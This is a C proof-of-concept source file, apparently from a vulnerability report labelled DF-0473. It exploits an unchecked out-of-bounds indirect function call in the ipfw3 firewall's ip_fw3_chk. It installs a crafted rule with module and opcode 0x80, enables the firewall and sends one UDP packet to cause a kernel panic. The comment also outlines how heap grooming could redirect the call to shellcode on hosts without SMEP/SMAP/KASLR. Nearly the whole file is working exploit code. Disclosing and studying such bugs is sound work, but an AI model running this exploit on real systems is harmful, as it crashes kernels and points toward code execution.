DF-0473 / oobcall.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 | /* * DF-0473 - Out-of-bounds indirect function call in ip_fw3_chk (CWE-129/787) * * sys/net/ipfw3/ip_fw3.c:506-507: * * (filter_funcs[cmd->module][cmd->opcode]) * (&cmd_ctl, &cmd_val, &args, &f, cmd, ip_len); * * filter_funcs is declared at ip_fw3.c:163 as * * filter_func filter_funcs[MAX_MODULE][MAX_OPCODE_PER_MODULE]; * * with MAX_MODULE=10 and MAX_OPCODE_PER_MODULE=100 (ip_fw3.h:94), i.e. a * 1000-entry array. cmd->module and cmd->opcode are uint8_t (0..255) and are * NEVER bounds-checked anywhere: not in ip_fw3_ctl_add_rule() (which only * validates the total sopt_valsize, ip_fw3.c:956-957) nor in the rule-eval * loop (ip_fw3.c:493-507). A rule whose cmd[0] carries module>=10 or * opcode>=100 therefore indexes past the 1000-entry array, reads an * arbitrary kernel pointer, and CALLS it. * * This PoC is the *clean* DF-0473 demonstration: it installs a correctly * sized rule (cmd_len=2 == one 8-byte instruction, act_ofs=0, full data * supplied) whose single instruction has module=0x80 opcode=0x80. It does * NOT rely on the DF-0472 cmd_len=255 over-read; the OOB index is supplied * directly and explicitly by the rule author, so this bug survives even a * full cmd_len validation (the DF-0472 fix). After installing the rule we * enable the firewall and send one UDP packet; ip_fw3_chk evaluates the rule, * does filter_funcs[0x80][0x80] -> entry 0x80*100+0x80 = 12928 (12828 entries * past the array) -> wild pointer dereference -> kernel panic (trap 9 / 12). * * THREAT MODEL / PRECONDITIONS (honest): * - Triggering is ROOT-ONLY: the rule-add path (IP_FW_X / IP_FW_ADD) needs * a raw socket (root) and the ipfw3 KLD module loaded. There is no * unprivileged-user privilege boundary to cross here; the value is the * kernel memory-corruption primitive (CWE-129 OOB indirect call), not LPE. * - On this guest SMEP/SMAP/KASLR are OFF, so a heap-grooming chain that * lands a chosen value at filter_funcs[0x80][0x80] would redirect the * call to userspace shellcode; demonstrated here at the panic (DoS) * level. Because the trigger is already root, the LPE chain is moot. * * Build: cc -Wall -o oobcall oobcall.c * Run : ./oobcall (as root, with ipfw3.ko loaded). EXPECT: kernel panic. */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #define MY_IP_FW_X 49 /* in.h:389 */ #define MY_IP_FW_ADD 50 /* ip_fw3.h:372 */ #define SIZE_OF_IPFWINSN 8 /* ip_fw3.h:85 */ /* Mirror of ipfw_insn (ip_fw3.h:124-132): 8 bytes, 2 x uint32 words */ typedef struct { uint8_t opcode; uint8_t len; uint16_t arg1; uint8_t module; uint8_t arg3; uint16_t arg2; } my_insn; /* Mirror of ip_fw_x_header (ip_fw3.h:366-369) */ typedef struct { uint16_t opcode; uint16_t _pad; } my_x_header; /* Mirror of the fixed prefix of struct ipfw_ioc_rule (ip_fw3.h:343-358) * up to and including cmd[0]. sizeof == 40 (== sizeof(struct ipfw_ioc_rule)). */ struct my_ioc_rule { uint16_t act_ofs; uint16_t cmd_len; uint16_t rulenum; uint8_t set; uint8_t insert; uint32_t sets; uint64_t pcnt; uint64_t bcnt; uint32_t timestamp; my_insn cmd; /* cmd[0] only */ }; int main(void) { int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (s < 0) { perror("socket raw [needs root]"); return 2; } /* ---- build the IP_FW_ADD(IP_FW_X) request ------------------- */ unsigned char buf[sizeof(my_x_header) + sizeof(struct my_ioc_rule)]; memset(buf, 0, sizeof(buf)); my_x_header *xh = (my_x_header *)buf; xh->opcode = MY_IP_FW_ADD; /* ip_fw3_ctl_x -> sopt_name */ xh->_pad = 0; struct my_ioc_rule *r = (struct my_ioc_rule *)(buf + sizeof(my_x_header)); r->act_ofs = 0; /* valid: 0 < cmd_len */ r->cmd_len = 2; /* valid: 2 words == one insn */ r->rulenum = 0; /* auto-numbered */ r->set = 0; r->insert = 0; r->sets = 0; r->pcnt = 0; r->bcnt = 0; r->timestamp = 0; r->cmd.opcode = 0x80; /* OOB opcode (> 100) */ r->cmd.len = 2; /* F_LEN=2, advances 2 words */ r->cmd.module = 0x80; /* OOB module (> 10) */ r->cmd.arg1 = 0; r->cmd.arg3 = 0; r->cmd.arg2 = 0; printf("[*] DF-0473: installing CORRECTLY-SIZED rule (cmd_len=2) " "with cmd[0].module=0x80 opcode=0x80\n"); printf("[*] sopt_valsize after x_hdr strip = %zu (in [32,1020], " "passes DF-0472's cmd_len check)\n", sizeof(struct my_ioc_rule)); size_t addlen = sizeof(buf); int rc = setsockopt(s, IPPROTO_IP, MY_IP_FW_X, buf, addlen); printf("[+] install OOB-index rule: rc=%d %s\n", rc, rc ? strerror(errno) : "(rule installed)"); if (rc) { printf("[!] add failed -- cannot proceed\n"); close(s); return 1; } close(s); /* ---- enable the firewall so ip_fw3_chk runs on next packet -- */ printf("[+] enabling firewall (net.inet.ip.fw3.enable=1)...\n"); fflush(stdout); system("sysctl net.inet.ip.fw3.enable=1"); /* ---- one packet -> ip_fw3_check_out -> ip_fw3_chk ------------ * * -> filter_funcs[0x80][0x80] -> wild call -> PANIC */ printf("[+] sending trigger packet (expect kernel panic now)...\n"); fflush(stdout); int u = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); struct sockaddr_in dst; memset(&dst, 0, sizeof(dst)); dst.sin_family = AF_INET; dst.sin_port = htons(9); /* discard */ dst.sin_addr.s_addr = htonl(0x7f000001); /* 127.0.0.1 */ sendto(u, "x", 1, 0, (struct sockaddr *)&dst, sizeof(dst)); usleep(300000); /* if we reach here the firewall did not panic on that packet */ printf("[!] no panic observed on trigger packet\n"); close(u); return 0; } |